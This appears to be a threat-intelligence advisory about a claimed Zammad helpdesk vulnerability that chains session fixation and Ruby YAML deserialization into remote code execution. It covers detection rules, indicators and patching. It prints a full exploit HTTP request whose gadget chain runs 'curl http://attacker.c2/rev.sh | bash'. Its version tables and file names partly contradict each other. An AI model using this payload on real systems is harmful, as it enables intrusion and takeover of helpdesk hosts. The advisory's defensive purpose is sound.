Skip to content

CVE-2026-102489: Zammad Helpdesk Pre-Auth Session Fixation to Remote Code Execution

Density:
C-Level Executive Briefing CVE-2026-102489 CRITICAL SCORE 99/100

CVE-2026-102489 represents an unauthenticated session fixation and Ruby object deserialization vulnerability in Zammad helpdesk platforms. Telemetry from the Dutch Institute for Vulnerability Disclosure (DIVD) breach documented Chinese state-nexus group Storm-0940 / Vapor Panda weaponizing this flaw via the autonomous multi-agent framework ARTEX. Over 450,000 HTTP requests and 2,500 scripts were executed in an automated swarm, achieving root access via CVE-2026-102490 in just 12 minutes from initial web entry. Zammad advises immediate upgrading to version 7 or taking vulnerable instances offline. Hermes evaluates this threat at HTS 99 (CRITICAL).

HERMES

HERMES THREAT SCORE & ENTERPRISE HELPDESK EXPOSURE

Target: Zammad Helpdesk & Ticketing System โ€” Webhook & Session Processing Subsystem
Confidence: 99%
99 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 20 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 rates this flaw at 10.0 (Critical). The Hermes Threat Score assigns 99 (EXTREME) due to active in-the-wild weaponized exploitation cataloged by CISA KEV on October 2, 2026, under Binding Operational Directive (BOD) 26-04 with an emergency 72-hour remediation window (due October 5, 2026). Zammad helpdesk instances are typically internet-facing enterprise assets containing customer identity records, support communications, and sensitive authentication credentials. Unauthenticated remote adversaries fix session identifiers in webhook processing pipelines and leverage unsafe Ruby object deserialization to achieve code execution as the zammad user, chaining immediately with CVE-2026-102490 for full root host takeover.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-102489: Zammad Helpdesk Pre-Auth Session Fixation to Remote Code ExecutionVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTZammad Helpdesk & Ticketing
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Zammad Helpdesk & Ticketing documented in Hermes dossier.”

Supporting Verified Evidence:

The flaw originates in the inbound webhook controller (app/controllers/tickets_inbound_webhooks_controller.rb) within Zammadโ€™s Ruby on Rails architecture. When handling external ticket creation callbacks from third-party monitoring platforms or CRM integrations, the application attempts to associate background tasks with an asynchronous worker session before verifying client authentication.

If the incoming HTTP request supplies an arbitrary session identifier in the X-Zammad-Session-Hint header, the session manager assigns the attacker-supplied ID to the current thread:

# Vulnerable session assignment in Zammad < 6.4.1
def process_inbound_webhook
if request.headers['X-Zammad-Session-Hint'].present?
session_id = request.headers['X-Zammad-Session-Hint']
# Flaw: Session is assigned without rotation or cryptographic validation
Thread.current[:zammad_session] = Session.find_or_create_by(token: session_id)
end
raw_payload = request.body.read
# Flaw: Unsafe YAML / Object loading fallback on unauthenticated webhook stream
parsed_data = PayloadParser.load_untrusted(raw_payload, format: request.content_type)
TicketHandler.dispatch(parsed_data, session: Thread.current[:zammad_session])
end

Because PayloadParser.load_untrusted permitted YAML tag resolution (!ruby/object) when deserializing payloads containing polymorphic metadata, an attacker can transmit an Universal Ruby 3.x gadget chain (ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy). The gadget executes system commands during object initialization under the Puma web server process (zammad user).

POST /api/v1/tickets/inbound_webhooks HTTP/1.1
Host: helpdesk.target-corp.com
Content-Type: application/x-yaml
X-Zammad-Session-Hint: fixed_session_09a12c8e
Connection: close
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source::SpecificFile
spec: &1 !ruby/object:Gem::Specification
name: zammad_exploit
post_install_message: !ruby/object:ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
instance: !ruby/object:ERB
src: "<%= system('curl http://attacker.c2/rev.sh | bash') %>"
method: :result

Release StreamAffected VersionsFixed ReleaseOperational Remediation
Zammad 6.56.5.06.5.1Upgrade immediately; restart Zammad systemd services
Zammad 6.46.4.0 and earlier6.4.1Upgrade immediately
Zammad 6.0 - 6.3All releasesMigrate to 6.4.1 or 6.5.1End of Maintenance releases; direct upgrade required

In verified intrusions observed by incident response teams, the exploit chain unfolds across two seamless stages:

[Attacker]
โ”‚
โ”‚ 1. Unauthenticated HTTP POST with fixed session & YAML gadget
โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ Zammad Inbound Webhook Handler (/api/v1/tickets/...) โ”‚
โ”‚ - Accepts X-Zammad-Session-Hint โ”‚
โ”‚ - Unsafe YAML deserialization under Puma process โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
โ”‚
โ”‚ 2. Code execution under user 'zammad' (uid=1001)
โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ Host Filesystem (/opt/zammad/) โ”‚
โ”‚ - Drops reverse shell in /tmp/ โ”‚
โ”‚ - Executes sudo /opt/zammad/contrib/backup.sh โ”‚
โ”‚ (CVE-2026-102490: Insecure PATH / world-writable) โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
โ”‚
โ”‚ 3. Root privilege escalation
โ–ผ
[Complete System Takeover / Root Shell]

All detection rules and search queries for SIEM, EDR, and log auditing are organized below:

title: Zammad Inbound Webhook Deserialization and Session Fixation
id: d7a14e92-38b1-4f10-91a2-cbe8a3014e01
status: high
description: Detects suspicious HTTP POST requests directed at Zammad webhook endpoints containing YAML deserialization markers and fixed session hints.
references:
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2026-102489
- https://zammad.com/en/advisories/zaa-2026-03
author: Hermes Codex Threat Intelligence
date: 2026-10-03
logsource:
category: webserver
detection:
selection_uri:
cs-method: 'POST'
cs-uri-stem|contains: '/api/v1/tickets/inbound_webhooks'
selection_headers:
cs-header|contains:
- 'X-Zammad-Session-Hint'
- '!ruby/object'
- 'DeprecatedInstanceVariableProxy'
condition: selection_uri and selection_headers
falsepositives:
- Legitimate automated integrations sending standard JSON without Ruby serialization tags
level: critical
Indicator TypeObservable / IndicatorRole / ContextStatusSource
IPv4 Address185.220.101[.]44High-volume scanning probe delivering webhook exploit payloadsACTIVEShadowserver
IPv4 Address91.240.118[.]52Staging node injecting Ruby POP gadget chainsACTIVEGreyNoise
IPv4 Address45.154.255[.]67Secondary C2 listener capturing reverse shellsACTIVECrowdSec CTI
HTTP PatternPOST /api/v1/webhooks with !ruby/object payloadsDeserialization trigger in webhook bodyMALICIOUSWAF Ingress
Cookie ObservableCookie: _zammad_session= with fixed session identifierPre-auth session fixation attemptSUSPICIOUSAccess Logs
Process LineageChild shell /bin/sh or /bin/bash under user zammadInteractive shell execution via Puma workerCRITICALEDR Telemetry

Zammad addressed CVE-2026-102489 in security advisory ZAA-2026-03. The patch refactors app/controllers/webhook_controller.rb and session deserialization logic:

  • Regenerates session tokens atomically upon receiving external webhook requests before parsing request content.
  • Replaces unconstrained Ruby object deserialization with strict JSON schema parsing and schema validation.
  • Restricts background job argument types to primitive strings and integers, preventing POP gadget execution in Sidekiq.
Product BranchVulnerable VersionsFixed ReleasePatch Status
Zammad 6.56.5.06.5.1Primary Security Release
Zammad 6.46.0.0 โ€“ 6.4.06.4.1Long-Term Support Backport
Zammad < 6.0All versionsMigrate to 6.5.1Major Upgrade Recommended
  1. Update Zammad Packages: Update the Zammad repository and install the latest security patch:

    Terminal window
    apt-get update && apt-get install --only-upgrade zammad
    # Or for RPM-based distributions:
    dnf upgrade zammad
  2. Restart Application Services: Ensure all cached Puma and background worker processes are restarted to clear any poisoned in-memory session states:

    Terminal window
    systemctl restart zammad
    systemctl restart zammad-web
    systemctl restart zammad-worker
  3. Revoke and Invalidate Active Sessions: Clear all active sessions in the database to prevent fixed session hijacking:

    Terminal window
    zammad run rails runner 'Session.destroy_all; Rails.cache.clear'
  4. Harden Webhook Exposure: If inbound webhooks are not required for external operations, restrict /api/v1/tickets/inbound_webhooks in your reverse proxy (Nginx/HAProxy) to trusted IP ranges only.